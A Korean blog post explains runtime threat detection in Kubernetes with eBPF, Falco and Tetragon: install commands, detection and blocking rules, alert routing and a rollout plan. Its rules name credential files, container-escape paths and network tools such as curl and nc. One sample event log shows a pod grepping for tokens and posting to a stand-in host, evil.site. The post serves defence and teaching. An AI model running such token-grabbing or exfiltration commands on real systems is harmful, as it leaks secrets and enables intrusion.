최신 트렌드

런타임 위협 탐지 실전 - eBPF·Falco·Tetragon으로 Pod 안에서 벌어지는 일 보기

백엔드 개발자 김승원 2026. 4. 24. 00:28

들어가며

지난 #134 Zero Trust 네트워킹으로 서비스 간 통신에 신원과 mTLS·AuthZ를 세웠습니다. 그런데 모든 정책을 통과한 "정상" Pod이 실제로는 비정상 행동을 하고 있다면 어떻게 알 수 있을까요? 서명된 이미지(#132)를 올렸다고 해서 그 안에서 sh를 띄우거나 /etc/shadow를 읽지 않는다는 보장이 없습니다.

2024년 Sysdig가 공개한 SCARLETEEL 사례는 공격자가 정상 이미지 위에서 컨테이너 탈출을 시도한 대표 케이스였습니다. 2025년 TeamTNT Silentbob 캠페인도 마찬가지로, 외부에서 보기엔 정상 Nginx이지만 내부에서 크립토 마이너가 돌았습니다. 로그·메트릭·APM으로는 이런 것을 잡기 어렵습니다. 커널 단에서 벌어지는 시스템 콜을 봐야 합니다.

오늘은 eBPF 기반 런타임 탐지 스택을 Spring Boot + Kubernetes 환경에서 구축하는 법을 정리합니다.

  • 1부 - eBPF가 왜 런타임 보안의 기본이 됐는가
  • 2부 - Falco - 규칙 기반 탐지의 표준
  • 3부 - Tetragon - 탐지를 넘어 실시간 차단
  • 4부 - Cilium과의 관계, 네트워크 레이어 통합
  • 5부 - Spring Boot 애플리케이션 기준 실제 탐지 룰
  • 6부 - 알림·SIEM 연동과 노이즈 억제
  • 7부 - 성능·도입 단계·흔한 실패

1. eBPF가 왜 런타임 보안의 기본이 됐는가

eBPF(extended Berkeley Packet Filter)는 리눅스 커널에 안전한 샌드박스 프로그램을 커널 재컴파일 없이 붙일 수 있게 해주는 기술입니다. 시스템 콜·네트워크 패킷·함수 진입점 등에 훅을 걸어 실시간으로 데이터를 뽑거나 동작을 변경할 수 있습니다.

기존 방식 한계 eBPF
커널 모듈 커널 크래시 위험, 버전 호환성 샌드박스·검증기가 안전 보장
auditd 과도한 오버헤드, 포맷 제한 선택적 필터링, 저오버헤드
LD_PRELOAD·strace 회피 쉬움, 프로세스별 커널 레벨, 우회 어려움
사이드카 프록시 L7만, 컨테이너 내부 불가 모든 시스콜 관찰

컨테이너 시대의 결정적 가치는 "컨테이너가 공유하는 호스트 커널 한 곳에서 모든 Pod을 관찰할 수 있다"는 점입니다. DaemonSet 하나로 노드 전체를 커버합니다.

1-1. 위협 탐지의 3단계

  1. 관찰(Observe) - 어떤 프로세스가 어떤 시스콜을 호출하는지 수집
  2. 탐지(Detect) - 규칙에 맞춰 이상 행동 식별
  3. 대응(Respond) - 알림·차단·격리

Falco가 1~2단계의 사실상 표준이고, Tetragon은 3단계까지 한 패키지로 묶습니다. 둘 다 CNCF 프로젝트이고, 2026년에는 기업 도입이 일반화됐습니다.

2. Falco - 규칙 기반 탐지의 표준

Falco는 시스콜을 eBPF로 캡처하고, YAML 규칙과 매칭해 이상을 알립니다. 컨테이너 보안의 "가장 먼저 깔 것"으로 자리 잡은 프로젝트입니다.

2-1. Helm 설치

$ helm repo add falcosecurity https://falcosecurity.github.io/charts
$ helm install falco falcosecurity/falco \
    --namespace falco --create-namespace \
    --set driver.kind=modern-bpf \
    --set tty=true \
    --set falcosidekick.enabled=true \
    --set falcosidekick.webui.enabled=true

modern-bpf가 2026년 기본값입니다. 커널 5.8 이상에서 CO-RE(Compile Once, Run Everywhere)로 노드별 커널 빌드 없이 동작합니다.

2-2. 기본 탐지 규칙 샘플

- rule: Shell spawned in container
  desc: 컨테이너 안에서 sh/bash가 실행되면 경보
  condition: >
    container.id != host
    and spawned_process
    and shell_procs
    and not user_expected_shell_in_pod
  output: >
    컨테이너에서 쉘 실행됨
    (user=%user.name container=%container.name
     image=%container.image.repository pod=%k8s.pod.name
     cmd=%proc.cmdline)
  priority: WARNING
  tags: [container, shell, mitre_execution]

CI에서 빌드된 정상 Spring Boot Pod은 java 프로세스만 돌아야 합니다. 누군가 kubectl exec이든 컨테이너 탈출이든 쉘을 띄우면 즉시 잡힙니다.

2-3. 커스텀 규칙 예시 - 민감 파일 읽기

- macro: sensitive_files
  condition: >
    fd.name in (/etc/shadow, /etc/gshadow, /root/.ssh/id_rsa)

- rule: Read sensitive file
  desc: 민감 파일 읽기 시도 탐지
  condition: >
    open_read and sensitive_files and container
    and not proc.name in (systemd, login)
  output: >
    민감 파일 읽기 (file=%fd.name pod=%k8s.pod.name proc=%proc.name)
  priority: CRITICAL

공격자가 웹 취약점으로 셸을 얻어도 이 규칙을 피하려면 민감 파일을 아예 건드릴 수 없게 됩니다. 사후 포렌식이 아니라 사건 발생 순간 알림이 핵심입니다.

2-4. 컨테이너 탈출 징후

- rule: Container escape via cgroup release_agent
  condition: >
    open_write and fd.name pmatch (/sys/fs/cgroup/**/release_agent)
  priority: CRITICAL
  tags: [container_escape, mitre_privilege_escalation]

- rule: Mount host filesystem
  condition: >
    evt.type = mount and container
    and (evt.arg.source contains /dev or evt.arg.source = /)
  priority: CRITICAL

SCARLETEEL·TeamTNT 류 공격의 전형적인 단계입니다. 이 규칙 세 장만 있어도 과거 공개된 컨테이너 탈출 시나리오의 상당수를 잡습니다.

3. Tetragon - 탐지에서 차단으로

Falco는 알림까지가 기본이고, 차단은 별도 통합(response engine)이 필요합니다. Tetragon은 eBPF 레벨에서 시스콜 자체를 차단할 수 있어 한 발 더 나아갑니다.

3-1. TracingPolicy로 관찰

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: monitor-sensitive-read
spec:
  kprobes:
    - call: "sys_openat"
      syscall: true
      args:
        - index: 1
          type: "string"
      selectors:
        - matchArgs:
            - index: 1
              operator: "Prefix"
              values:
                - "/etc/shadow"
                - "/root/.ssh/"

sys_openat 진입 시점에 첫 인자(경로)를 검사해 민감 경로이면 이벤트를 발생시킵니다. Falco보다 커널에 가깝고 오버헤드가 낮습니다.

3-2. Enforce - 실제 차단

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: block-shadow-read
spec:
  kprobes:
    - call: "sys_openat"
      syscall: true
      args:
        - index: 1
          type: "string"
      selectors:
        - matchArgs:
            - index: 1
              operator: "Equal"
              values: ["/etc/shadow"]
          matchActions:
            - action: Sigkill   # 프로세스 즉시 종료

이벤트만 보내는 게 아니라 호출한 프로세스를 SIGKILL로 즉시 종료합니다. Falco가 "CCTV"라면 Tetragon은 "자동 문 잠금"입니다. 다만 오탐 시 서비스 장애로 직결되므로 초기에는 Audit 모드로 관찰하고 점진적으로 Enforce 전환이 원칙입니다.

3-3. 프로세스 실행 트레이싱

$ kubectl exec -n kube-system ds/tetragon -c tetragon -- \
    tetra getevents -o compact

🚀 process default/orders-app-7f /bin/sh -c "env | grep TOKEN"
🧬 process default/orders-app-7f /usr/bin/curl -X POST https://evil.site
💥 exit    default/orders-app-7f signal=SIGKILL

실시간 TTY로 "지금 Pod 안에서 무슨 일이"를 그대로 봅니다. 사고 대응 시 포렌식이 비약적으로 빨라집니다.

4. Cilium과의 관계

Tetragon은 Cilium 생태계에서 태어났습니다. Cilium이 네트워크를, Tetragon이 시스콜을 담당합니다. 두 레이어가 같은 eBPF 기반이라 통합 관측이 자연스럽습니다.

레이어 Cilium Tetragon
네트워크 정책(L3/L4) CiliumNetworkPolicy -
L7 정책(HTTP/gRPC) 선택적 -
시스콜 탐지 - TracingPolicy
프로세스 차단 - Enforce 모드
데이터 평면 eBPF eBPF

#134 서비스 메시의 Istio Ambient 대안으로 Cilium Service Mesh를 택한 조직이라면 Tetragon 통합이 가장 자연스럽습니다. 같은 CNI 위에서 네트워크 + 시스콜 + 메시가 한 엔진으로 돌아갑니다.

5. Spring Boot 기준 실제 탐지 룰

우리가 올린 Spring Boot 이미지가 평상시 무엇만 하는지를 정의하고, 그 바깥은 이상으로 본다는 "알려진 정상(known good)" 접근이 실전입니다.

5-1. 정상 행동 프로파일

  • 프로세스: java 단일 (PID 1이 JVM)
  • 파일 쓰기: /tmp, /var/log/app
  • 네트워크: DB·Redis·외부 API 지정 호스트만
  • 익스플로잇 단골 바이너리(curl, wget, nc, base64) 실행 금지
  • JVM이 자식 프로세스를 생성하지 않음

5-2. Falco 커스텀 규칙

- list: allowed_java_children
  items: []   # Spring Boot는 기본적으로 자식이 없음

- rule: JVM spawned unexpected child
  condition: >
    spawned_process and proc.pname = java
    and not proc.name in (allowed_java_children)
  output: >
    JVM이 예상치 못한 자식 프로세스 실행
    (parent=%proc.pname child=%proc.name cmd=%proc.cmdline
     pod=%k8s.pod.name image=%container.image.repository)
  priority: CRITICAL

- rule: Suspicious binary in app container
  condition: >
    spawned_process and container
    and proc.name in (curl, wget, nc, ncat, socat, nmap, base64, xxd)
    and k8s.ns.name = production
  output: >
    앱 컨테이너에서 네트워크/인코딩 도구 실행 (proc=%proc.name cmd=%proc.cmdline)
  priority: CRITICAL

5-3. Log4Shell 류 RCE 탐지

- rule: JVM outbound to LDAP/RMI
  desc: Log4Shell류 원격 클래스 로딩 패턴
  condition: >
    outbound and fd.l4proto = tcp
    and proc.name = java
    and (fd.sport_name in (ldap, rmiregistry) or fd.sport in (1099, 389))
  output: >
    JVM이 LDAP/RMI 외부 연결 시도
    (dest=%fd.rip:%fd.rport pod=%k8s.pod.name)
  priority: CRITICAL

Log4Shell 패치(#131 OWASP)를 놓쳐도 JVM이 LDAP로 외부 호출하는 순간 잡힙니다. 다층 방어의 전형입니다.

5-4. 암호화폐 마이너 탐지

- rule: Crypto miner process
  condition: >
    spawned_process and
    (proc.name in (xmrig, minerd, cgminer, bfgminer)
     or proc.cmdline contains "stratum+tcp://")
  priority: CRITICAL
  tags: [cryptomining]

TeamTNT 캠페인의 대표 시그니처입니다. 이미지 스캔으로는 못 잡는 이유는, 공격자가 런타임에 다운로드해서 실행하기 때문입니다. 런타임 탐지가 최후의 방어선인 이유입니다.

6. 알림·SIEM 연동과 노이즈 억제

탐지 규칙이 많아지면 경보가 폭주해 결국 무시되는 경보 피로(alert fatigue)에 빠집니다. 초기 설계부터 라우팅과 억제를 같이 고민해야 합니다.

6-1. Falcosidekick 라우팅

falcosidekick:
  config:
    slack:
      webhookurl: "https://hooks.slack.com/services/..."
      minimumpriority: "critical"
    elasticsearch:
      hostport: "http://es.internal:9200"
      index: falco
      minimumpriority: "warning"
    pagerduty:
      routingkey: "..."
      minimumpriority: "emergency"

Elasticsearch에는 모든 경보를, Slack에는 CRITICAL 이상만, PagerDuty에는 온콜 대응이 필요한 EMERGENCY만 보냅니다. 채널별 임계값이 명확하지 않으면 중요한 경보가 파묻힙니다.

6-2. 노이즈 억제 패턴

상황 대응
CI 잡이 Job/CronJob에서 합법적으로 쉘 사용 네임스페이스 예외 macro
디버깅 시 개발자가 exec으로 접근 승인된 사용자 리스트, 감사 로그만 남김
오탐 다발 규칙 priority INFO로 강등, Elasticsearch만 보냄
새 서비스 도입 초기 warn only 네임스페이스 라벨

"false positive 1건이 들어오면 룰 개선, 2번째면 튜닝 필수"를 원칙으로 삼아야 운영이 지속됩니다.

6-3. 자동 대응 (Response Engine)

# falco → falcosidekick → falcosidekick-response-engine
- rule: Pod exhibiting miner behavior
  condition: crypto_miner_process
  actions:
    - type: kubernetes
      kubernetes:
        action: terminate  # Pod 즉시 삭제

Tetragon Enforce와 역할이 비슷하지만, Falco는 Pod 단위 격리·라벨 부착·네트워크 차단 등 Kubernetes 레벨의 대응이 강점입니다. Tetragon이 "프로세스 죽이기", Falco 대응이 "Pod 격리"로 역할 분담이 자연스럽습니다.

7. 성능 오버헤드

보안 도구는 성능이 비용이 되면 빠지기 쉽습니다. 2026년 modern-bpf 기준 실측 범위입니다.

항목 Falco(modern-bpf) Tetragon
노드당 CPU 0.1~0.3 core 0.05~0.2 core
노드당 메모리 200~400MB 150~300MB
애플리케이션 레이턴시 영향 거의 없음 Enforce 시 수 μs
이벤트 유실 버퍼 풀 시 발생 드롭 정책 조정 가능

애플리케이션에 거의 영향이 없는 대신, 노드 단위 자원은 뚜렷하게 소모됩니다. 노드가 작을수록 체감 비율이 커지니 노드당 워크로드 크기와 함께 고려하세요.

8. 도입 로드맵

탐지 도구는 빅뱅으로 깔면 알람 홍수로 쓸모없어집니다. 단계적 전환이 정석입니다.

목표
1 Falco 설치, 기본 룰 + Falcosidekick으로 Elasticsearch만 전송
2~3 노이즈 튜닝. 새 룰 없이 관찰만.
4 CRITICAL 이상만 Slack, 온콜 채널 분리
5~6 앱 커스텀 규칙(JVM 자식 금지, 민감 파일 등) 추가
7 Tetragon 도입 (Observe 모드만)
8~10 검증된 룰만 Enforce로 전환 (파일 경로, 특정 시스콜)
11+ SIEM(Elastic/Splunk) 상관 분석, 자동 대응 엔진

"관찰 2주 없이 Enforce 먼저"가 가장 흔한 실패입니다. 정상 행동 기저를 모르면 어떤 규칙도 오탐입니다.

9. 흔한 도입 실패 패턴

  • 모든 경보를 Slack 한 채널로 - 하루 수천 건에 금방 무시됨. 심각도·대응 주체별 라우팅이 기본.
  • 기본 룰만 쓰고 커스텀 없음 - 조직 특성 반영이 안 되어 가치가 반감. Spring Boot·Python·Node.js 각각의 정상 프로파일 정의가 필수.
  • Tetragon Enforce 전 Observe 생략 - 첫날부터 프로세스를 죽이다 정상 배포 잡·관리 스크립트까지 차단됨.
  • 커널이 너무 낮음 - modern-bpf는 5.8+ 권장. 구형 커널에서는 legacy eBPF/kernel module로 돌아가 오버헤드가 커짐. 노드 OS 업데이트 전 도입하면 고생.
  • 사이드카 프록시의 시스콜을 Falco가 의심 - Istio init 컨테이너의 iptables 조작, cilium-agent의 BPF 로드 등이 규칙에 걸림. 시스템 네임스페이스 예외 macro 필수.
  • 이미지 스캔·SBOM으로 런타임을 대체하려 함 - 런타임 다운로드·원격 코드 실행은 스캔으로 못 잡음. 다층 방어가 정답.
  • 감사 로그는 있는데 리뷰 프로세스 없음 - 경보가 Elasticsearch에 쌓이기만 함. 주간 리뷰 + 분기 레드팀 훈련으로 활용도를 유지.
  • PII·토큰이 이벤트 페이로드에 노출 - Falco output 필드가 환경변수 포함 시 그대로 나감. 출력 마스킹 정책과 저장소 접근 통제 병행.

10. 체크리스트

  • [ ] Falco가 modern-bpf 드라이버로 동작하고 있다
  • [ ] 프로덕션 네임스페이스의 정상 행동 프로파일이 문서화돼 있다
  • [ ] JVM 자식 프로세스 금지·민감 파일 접근 탐지 등 커스텀 룰이 최소 5개 이상 있다
  • [ ] CRITICAL 이상은 Slack/PagerDuty로 분기된다
  • [ ] 모든 경보는 Elasticsearch 또는 Loki에 90일 이상 보관된다
  • [ ] Tetragon Observe 단계에서 최소 2주 관찰 후 Enforce 전환 규칙을 정한다
  • [ ] CI 잡·사이드카 등 합법 예외가 네임스페이스/라벨 단위로 격리된다
  • [ ] 주간 경보 리뷰 및 분기 레드팀 훈련이 정해져 있다
  • [ ] 경보 페이로드에 PII·토큰이 마스킹된다
  • [ ] 사고 플레이북에 "Pod 격리 → 포렌식 → 재배포" 경로가 있다

11. 보안 4기둥 위에 올라가는 5번째 기둥

지난 4편으로 "빌드·공급망·시크릿·네트워크"가 정리됐습니다. 런타임 탐지가 합류하면서 그림이 완성됩니다.

레이어 시점 대표 도구 본 글
OWASP 기본기 커밋 전 ZAP·Dependency-Check #131
공급망 무결성 빌드·배포 SBOM·cosign #132
시크릿 관리 런타임 주입 Vault·Secrets Manager #133
서비스 간 통신 요청 시 mTLS·Istio·SPIFFE #134
런타임 행동 실행 중 Falco·Tetragon 오늘

어떤 한 층이 뚫려도 다음 층이 잡아냅니다. 다층 방어(defense in depth)의 본질이 이 조합에 있습니다.

마치며

런타임 위협 탐지 실전의 핵심을 정리합니다.

  • 서명과 정책을 통과한 Pod이 실제로 예상대로 움직이는지가 마지막 질문입니다. 이미지 스캔·SBOM·mTLS로는 런타임 다운로드나 컨테이너 탈출을 잡을 수 없습니다. 커널 시스콜을 직접 보는 층이 없으면 침해 탐지에 평균 수십 일이 걸린다는 것이 업계 통계입니다.
  • eBPF는 선택이 아니라 전제입니다. 커널 모듈·auditd 기반 도구는 오버헤드·안전성·유지 비용에서 이미 대체됐습니다. Falco·Tetragon·Cilium 모두 CO-RE eBPF로 수렴하고 있으니, 노드 커널을 5.8 이상으로 유지하는 것이 도입의 선결 과제입니다.
  • Falco는 탐지, Tetragon은 차단으로 역할이 나뉩니다. Falco로 관찰·경보·SIEM 보내기를 먼저 정착시키고, 검증된 일부 규칙을 Tetragon Enforce로 옮기는 순서가 현실적입니다. 첫날부터 차단으로 가면 정상 워크로드가 무너집니다.
  • "알려진 정상" 프로파일 없이는 어떤 규칙도 오탐입니다. Spring Boot는 자식 프로세스가 없어야 하고 Python Celery는 worker fork가 정상이며 DB Pod은 fsync가 빈번합니다. 언어·프레임워크별 정상 행동을 먼저 정의해야 커스텀 룰이 가치가 있습니다.
  • 경보 피로를 기술적으로 막아야 합니다. 심각도별 라우팅·주간 리뷰·오탐 1건 즉시 튜닝 원칙이 없으면 6개월 안에 아무도 안 보는 로그가 됩니다. 도구의 품질보다 운영 루틴의 품질이 더 결정적입니다.
  • 런타임 탐지는 다층 방어의 마지막이지 첫 번째가 아닙니다. 앞선 네 층(OWASP·공급망·시크릿·mTLS)을 스킵하고 Falco만 깔면 경보에 잠식되어 실패합니다. 위층이 걸러낸 뒤 남은 이상만 런타임 층이 봐야 지속 가능합니다.

OWASP(#131) · SBOM(#132) · Secrets(#133) · Zero Trust(#134) · 런타임 탐지까지 애플리케이션 보안 5기둥이 완성됐습니다. 다음 편에서는 이 모든 신호를 한 곳에 모아 의사결정으로 이어지는 SIEM과 SOAR - Elastic Security·Splunk·Tines로 보안 운영 자동화하기를 다룰 예정입니다. 탐지가 많을수록 자동화가 중요해집니다.